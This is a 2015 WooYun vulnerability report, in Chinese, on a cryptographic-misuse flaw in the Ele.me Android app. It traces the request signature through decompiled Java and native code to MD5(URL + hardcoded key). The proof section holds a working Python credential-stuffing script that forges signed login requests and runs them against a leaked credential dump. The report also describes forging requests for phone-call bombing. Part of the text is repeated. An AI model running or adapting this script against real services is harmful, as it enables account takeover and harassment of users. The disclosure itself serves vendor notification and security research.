当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130444

漏洞标题:由饿了么密码学误用致防御绕过浅谈Android密码学漏洞

相关厂商:饿了么

漏洞作者: 小飞

提交时间:2015-07-30 15:26

修复时间:2015-09-13 15:46

公开时间:2015-09-13 15:46

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-30: 细节已通知厂商并且等待厂商处理中
2015-07-30: 厂商已经确认,细节仅向厂商公开
2015-08-09: 细节向核心白帽子及相关领域专家公开
2015-08-19: 细节向普通白帽子公开
2015-08-29: 细节向实习白帽子公开
2015-09-13: 细节向公众公开

简要描述:

密码学误用在app中是个很大的问题,几乎所有apk的校验算法都能被模拟
饿了么的算法鲁棒性和隐蔽性算是不错的,提出来讲是为了证明签名校验机制的脆弱
虽然提交给饿了么 但是说的是一大类问题
瘦蛟舞大牛就提出过这个问题
http://drops.wooyun.org/tips/6049
很多应用采用的加密算法更是不堪
抛砖引玉,希望大家把这个也当做一个新的方向去挖掘发现漏洞
饿了么客户端先前在wooyun上被人挖出各种洞,
撞库,电话资源争夺等
后来加入签名验证算法,统一防护,防止被人篡改提交的数据。
那么如果算法能被破解呢?

详细说明:


我们用burp抓包发现

GET /user/messages/unread_count?auth_key=anonymous&consumer_key=9609106914&eleme_device_id=b0227139-2450-3ef3-a6fb-a6f96bdf50f1&geohash=wtw36sc63f9z&geohash_id=wtw36sc63f9z&session_id=824af5f3238f919760b0eb199d3720dd&timestamp=1438222642&track_id=1437405188%7C_d3fe5148-2ef1-11e5-8ec6-c81f66fb8809%7Cfe894109028504a5754b00077b361aa6&user_id=886&sig=640dfedbaaa466455aefdd33825b7ecf HTTP/1.1
X-DeviceInfo: aW1laTowMDAwMDAwMDAwMDAwMDAgc2VyaWFsOnVua25vd24gYW5kcm9pZF9pZDpmNmNkNzAyNDBlMmM1ZTY0IGJyYW5kOmdlbmVyaWMgbW9kZWw6Q3VzdG9tX1Bob25lXy1fNC4yLjJfLV9BUElfMTdfLV83Njh4MTI4MCBuZXR3b3JrT3BlcmF0b3I6MzEwMjYwIG1hY0FkZHJlc3M6MDhfMDBfMjdfY2VfZGNfYjEgbmV0VHlwZTpXSUZJIHNpbVNlcmlhbE51bWJlcjo4OTAxNDEwMzIxMTExODUxMDcyMCBzaW1TdGF0ZTo1IHdpZmlMaXN0OjAxXzgwX2MyXzAwXzAwXzAzIGhhdmVCbHVldG9vdGg6dHJ1ZSBoYXJkd2FyZV9pZDo3MTgyMGNjZjI4ZWFiYjkxYTA2MmUzMWFmYzFmMTE3YyBmaXJzdF9vcGVuOjE0Mzc2NjkxOTMgbGFzdF9vcGVuOjE0MzgyMjI2MzYgbmV0X3R5cGU6d2lmaSBlbmVyZ3lfcGVyY2VudDo5MyB0cmFja19pZDogbWVtb3J5OjMwNg==
Accept-Encoding: gzip
Host: api.ele.me
Connection: Keep-Alive
User-Agent: Rajax/1 Custom_Phone_-_4.2.2_-_API_17_-_768x1280/vbox86p Android/4.2.2 Display/vbox86p-userdebug_4.2.2_JDQ39E_eng.buildbot.20150609.211601_test-keys Eleme/5.1.1 ID/b0227139-2450-3ef3-a6fb-a6f96bdf50f1; KERNEL_VERSION:3.4.67-qemu+ API_Level:17


饿了么每一个客户端的数据包都会附加一个签名sig
如果你篡改POST或者GET过去的任意一个参数
都会返回一个

HTTP/1.1 200 OK
Server: Tengine/2.1.0
Date: Thu, 30 Jul 2015 05:09:50 GMT
Content-Type: application/json; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 136
{"response": [{"message": "\u672a\u77e5\u9519\u8bef\uff0c\u8bf7\u7a0d\u540e\u91cd\u8bd5", "code": "client_error/auth/signature_error"}]}


猜测他的机制应该是数据本地加上签名校验
然后发送到server端用相同的算法进行签名验证 如果传过去的sig不等于数据在server端加密后的期望值,返回一个签名错误。
所以我们现在想破解用户数据( WooYun: 饿了么客户端设计缺陷可影响用户帐号安全
也不能狂打人家电话了( WooYun: 饿了么手机验证可做电话轰炸(呼死你)
更不能免费吃喝( WooYun: 饿了么逻辑漏洞之免费吃喝不是梦 )
那么这个算法是否具有弱点呢?
我们打开jeb逆向看看
搜索sig" 很快定位到关键点

B15651E4-AB5C-4DE9-B54C-ACC8DE3EBC6A.png


跟入

982A0771-AE22-4695-8CC6-5AF15E403146.png


发现sig字段是由s.a处理的
继续跟过去

public class s {
static {
System.loadLibrary("signer");
}
private s() {
super();
}
public static String a(String arg8, Context arg9) {
String v0_2;
Class v1 = s.class;
__monitor_enter(v1);
try {
long v2 = System.currentTimeMillis();
try {
v0_2 = s.sign(arg8, arg9);
a.a("signer sign time consuming is " + (System.currentTimeMillis() - v2) + "ms");
}
catch(Exception v0_1) {
try {
a.b("sign error");
v0_1.printStackTrace();
v0_2 = "";
}
catch(Throwable v0) {
label_23:
__monitor_exit(v1);
throw v0;
}
}
}
catch(Throwable v0) {
goto label_23;
}
__monitor_exit(v1);
return v0_2;
}
private static native String sign(s this, String arg1, Context arg2) {
}
}


可以看到这里它load System.loadLibrary("signer");
也就是使用了.so文件报装他的算法
private static native String sign(s this, String arg1, Context arg2) {
}
然后传入签名
我们解包看看这个so库
apktool d -d eleme.apk
在/lib/armeabi下找到那个库
libsigner.so
IDA Pro分析下 发现是可以反汇编的

6CAFA4E3-C392-46C6-ABAD-6B576BD4170B.png


图中我们可以看到decode2String 跟踪过去

int __fastcall decode2String(int a1)
{
int v1; // r4@1
int result; // r0@1
v1 = a1;
result = decode();
if ( result )
result = toString(v1, result);
return result;
}


所以decode是主要流程 //其实这里挺奇怪的,按理说签名算法应该是encode,为何这里是decode
肯定有鬼,我们跟踪过去看看

int __fastcall decode(_JNIEnv *a1, int a2)
{
_JNIEnv *v2; // r4@1
int v3; // r0@1
int v4; // r5@1
int v5; // r0@1
int v6; // r7@1
int v7; // r0@1
int v8; // r5@1
int v9; // r6@1
int v10; // r0@2
int v11; // r6@2
int v12; // r0@3
int v13; // r7@4
int v14; // r7@5
int v15; // r5@5
int v16; // r0@5
int v17; // r3@5
int v19; // [sp+8h] [bp-28h]@3
int v20; // [sp+Ch] [bp-24h]@1
int v21; // [sp+10h] [bp-20h]@1
int v22; // [sp+14h] [bp-1Ch]@3
v20 = a2;
v2 = a1;
v3 = _JNIEnv::FindClass(a1, "android/util/Base64");
v4 = v3;
v5 = _JNIEnv::GetStaticFieldID(v2, v3, "NO_WRAP", "I");
_JNIEnv::GetStaticIntField(v2, v4, v5);
v6 = _JNIEnv::GetStaticMethodID(v2, v4, "decode", "([BI)[B");
v7 = toBytes(
v2,
"wialR9SXLS/cI/tJ7grD93HbcpfISNRucCQIKd6InJyQXD3gL90a65cDIQWMEMIBMh5FCzTNgeqGE34puzDe8169tz3gX/HRKKT1uMXNWPonoPLLaYH9iiiq4Pq5wMxNig1WslNPDNJPDrWcHIQ55uQpTwerd1zDiiksGpwL380=");
v21 = _JNIEnv::CallStaticObjectMethod(v2, v4, v6, v7);
_JNIEnv::DeleteLocalRef(v2, v4);
v8 = _JNIEnv::FindClass(v2, "javax/crypto/Cipher");
v9 = _JNIEnv::GetStaticMethodID(v2, v8, "getInstance", "(Ljava/lang/String;)Ljavax/crypto/Cipher;");
if ( !dword_5004 )
{
v10 = _JNIEnv::NewStringUTF(v2, "RSA/ECB/PKCS1Padding");
v11 = _JNIEnv::CallStaticObjectMethod(v2, v8, v9, v10);
dword_5004 = _JNIEnv::NewGlobalRef(v2, v11);
_JNIEnv::DeleteLocalRef(v2, v11);
}
v12 = _JNIEnv::GetStaticFieldID(v2, v8, "DECRYPT_MODE", "I");
v19 = _JNIEnv::GetStaticIntField(v2, v8, v12);
v22 = _JNIEnv::GetMethodID(v2, v8, "init", "(ILjava/security/Key;)V");
if ( !dword_5008 )
{
v13 = getPublicKey(v2, v20);
dword_5008 = _JNIEnv::NewGlobalRef(v2, v13);
_JNIEnv::DeleteLocalRef(v2, v13);
}
_JNIEnv::CallVoidMethod(v2, dword_5004, v22, v19);
v14 = _JNIEnv::GetMethodID(v2, v8, "doFinal", "([B)[B");
_JNIEnv::DeleteLocalRef(v2, v8);
v15 = _JNIEnv::CallObjectMethod(v2, dword_5004, v14, v21);
v16 = throwException(v2);
v17 = 0;
if ( !v16 )
{
_JNIEnv::DeleteLocalRef(v2, v21);
v17 = v15;
}
return v17;
}


首先可以看出的是作者煞费苦心地利用java反射机制 调用JNI使用了一系列java原有的方法进行混淆
然后问题在这

"wialR9SXLS/cI/tJ7grD93HbcpfISNRucCQIKd6InJyQXD3gL90a65cDIQWMEMIBMh5FCzTNgeqGE34puzDe8169tz3gX/HRKKT1uMXNWPonoPLLaYH9iiiq4Pq5wMxNig1WslNPDNJPDrWcHIQ55uQpTwerd1zDiiksGpwL380="


这段数据是硬编码到so文件里面的,然后它调用各种JNI方法的作用无非就是想混淆,增加破解难度
不过这个算法由于密码学误用,依然的是可以破解的
逆向之后我得到了一个key
其中key就是调用一大堆冗杂的jni生成的一段hash
有了key 我们就能用来加密,构造服务器所信任的恶意请求
那到底是怎样加密我们的请求的呢
我们先用某神器插桩监控下这个调用

x.png


可以看到其实就是
MD5(getUrl+key)

encrypturl = "https://api.ele.me/1/user/login?auth_key=anonymous&consumer_key=9609106914&eleme_device_id=b0227139-2450-3ef3-a6fb-a6f96bdf50f1&password="+password+"&session_id=824af5f3238f919760b0eb199d3720dd&timestamp=1438144822&track_id=1437405188|_d3fe5148-2ef1-11e5-8ec6-c81f66fb8809|fe894109028504a5754b00077b361aa6&user_id=886&username="+username
key = "b775d5b4(我是马赛克)95b0b2119294ccf9"
sig = hashlib.md5(encrypturl+key).hexdigest()


可以看到我们构造任意链接都不再抛出签名错误

4C8D3ED6-720A-4ECB-8488-D27CD632E096.png


看看发动电话攻击

D362E689-BAE9-4C0E-B00D-FFF3E9B8463E.png


可以看到在拨打电话之前是有验证注册与否的
但是我们现在可以伪造号码,加上后端没有拨打限制次数
所以我们可以直接伪造了

187E387A843D9B300F84BA725A24B9B3.png


这时候我们终于可以撞库:

6E7CA7B7-FC33-4A77-988D-E59CAA2532D0.png


至于免费领取早餐午餐晚餐活动,
相信只要活动出现,自然可以篡改数据施展攻击

漏洞证明:

撞库脚本

#coding=utf-8 
import hashlib
import sys
import urllib
import urllib2
url = "https://api.ele.me/1/user/login"
headers = {
'X-DeviceInfo': 'aW1laTowMDAwMDAwMDAwMDAwMDAgc2VyaWFsOnVua25vd24gYW5kcm9pZF9pZDpmNmNkNzAyNDBlMmM1ZTY0IGJyYW5kOmdlbmVyaWMgbW9kZWw6Q3VzdG9tX1Bob25lXy1fNC4yLjJfLV9BUElfMTdfLV83Njh4MTI4MCBuZXR3b3JrT3BlcmF0b3I6MzEwMjYwIG1hY0FkZHJlc3M6MDhfMDBfMjdfY2VfZGNfYjEgbmV0VHlwZTpXSUZJIHNpbVNlcmlhbE51bWJlcjo4OTAxNDEwMzIxMTExODUxMDcyMCBzaW1TdGF0ZTo1IHdpZmlMaXN0OjAxXzgwX2MyXzAwXzAwXzAzIGhhdmVCbHVldG9vdGg6dHJ1ZSBoYXJkd2FyZV9pZDo3MTgyMGNjZjI4ZWFiYjkxYTA2MmUzMWFmYzFmMTE3YyBmaXJzdF9vcGVuOjE0Mzc2NjkxOTMgbGFzdF9vcGVuOjE0MzgwODY4NDYgbmV0X3R5cGU6d2lmaSBlbmVyZ3lfcGVyY2VudDoxMDAgdHJhY2tfaWQ6IG1lbW9yeTo0MDI=',
#'Accept-Encoding': 'gzip',
'Content-Type': 'application/x-www-form-urlencoded',
'Host': 'api.ele.me',
'Connection': 'Keep-Alive',
'User-Agent': 'Rajax/1 Custom_Phone_-_4.2.2_-_API_17_-_768x1280/vbox86p Android/4.2.2 Display/vbox86p-userdebug_4.2.2_JDQ39E_eng.buildbot.20150609.211601_test-keys Eleme/5.1.1 ID/b0227139-2450-3ef3-a6fb-a6f96bdf50f1; KERNEL_VERSION:3.4.67-qemu+ API_Level:17',
}
def decryptPost(username,password):
encrypturl = "https://api.ele.me/1/user/login?auth_key=anonymous&consumer_key=9609106914&eleme_device_id=b0227139-2450-3ef3-a6fb-a6f96bdf50f1&password="+password+"&session_id=824af5f3238f919760b0eb199d3720dd&timestamp=1438144822&track_id=1437405188|_d3fe5148-2ef1-11e5-8ec6-c81f66fb8809|fe894109028504a5754b00077b361aa6&user_id=886&username="+username
key = "b775d5b4(我是马赛克)95b0b2119294ccf9"
sig = hashlib.md5(encrypturl+key).hexdigest()
postdata = "auth_key=anonymous&consumer_key=9609106914&eleme_device_id=b0227139-2450-3ef3-a6fb-a6f96bdf50f1&password="+password+"&session_id=824af5f3238f919760b0eb199d3720dd&timestamp=1438144822&track_id=1437405188|_d3fe5148-2ef1-11e5-8ec6-c81f66fb8809|fe894109028504a5754b00077b361aa6&user_id=886&username="+username+"&sig="+sig

req = urllib2.Request(url,postdata,headers)
try:
xresponse=urllib2.urlopen(req)
except urllib2.HTTPError,e:
print "net work error"
pass
result = xresponse.read()
print result

#导入数据库
databasbe = open('12306.txt')
for dataline in databasbe.readlines():
userarr = dataline.split('----')
prefix = userarr[0].split('@')[0]
mail = userarr[0]
password= userarr[4]
decryptPost(prefix,prefix)
decryptPost(prefix,password)
decryptPost(mail,prefix)
decryptPost(mail,password)
decryptPost(password,password)


可以看到我们构造任意链接都不再抛出签名错误

4C8D3ED6-720A-4ECB-8488-D27CD632E096.png


看看发动电话攻击

D362E689-BAE9-4C0E-B00D-FFF3E9B8463E.png


可以看到在拨打电话之前是有验证注册与否的
但是我们现在可以伪造号码,加上后端没有拨打限制次数
所以我们可以直接伪造了

187E387A843D9B300F84BA725A24B9B3.png


这时候我们终于可以撞库:

6E7CA7B7-FC33-4A77-988D-E59CAA2532D0.png


至于免费领取早餐午餐晚餐活动,
相信只要活动一出现,自然是可以篡改数据完成

修复方案:

密码学误用在app中是个很大的问题,几乎所有apk的校验算法都能被模拟
饿了么的算法鲁棒性和隐蔽性算是不错的,提出来讲是为了证明当今签名校验机制的脆弱
瘦蛟舞大牛就提出过这个问题
http://drops.wooyun.org/tips/6049
很多应用采用的加密算法更是不堪
抛砖引玉,希望大家把这个也当做一个新的方向去挖掘发现漏洞

版权声明:转载请注明来源 小飞@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-30 15:44

厂商回复:

经确认,该漏洞存在,我们将尽快修复。感谢你们对饿了么的关注!

最新状态:

暂无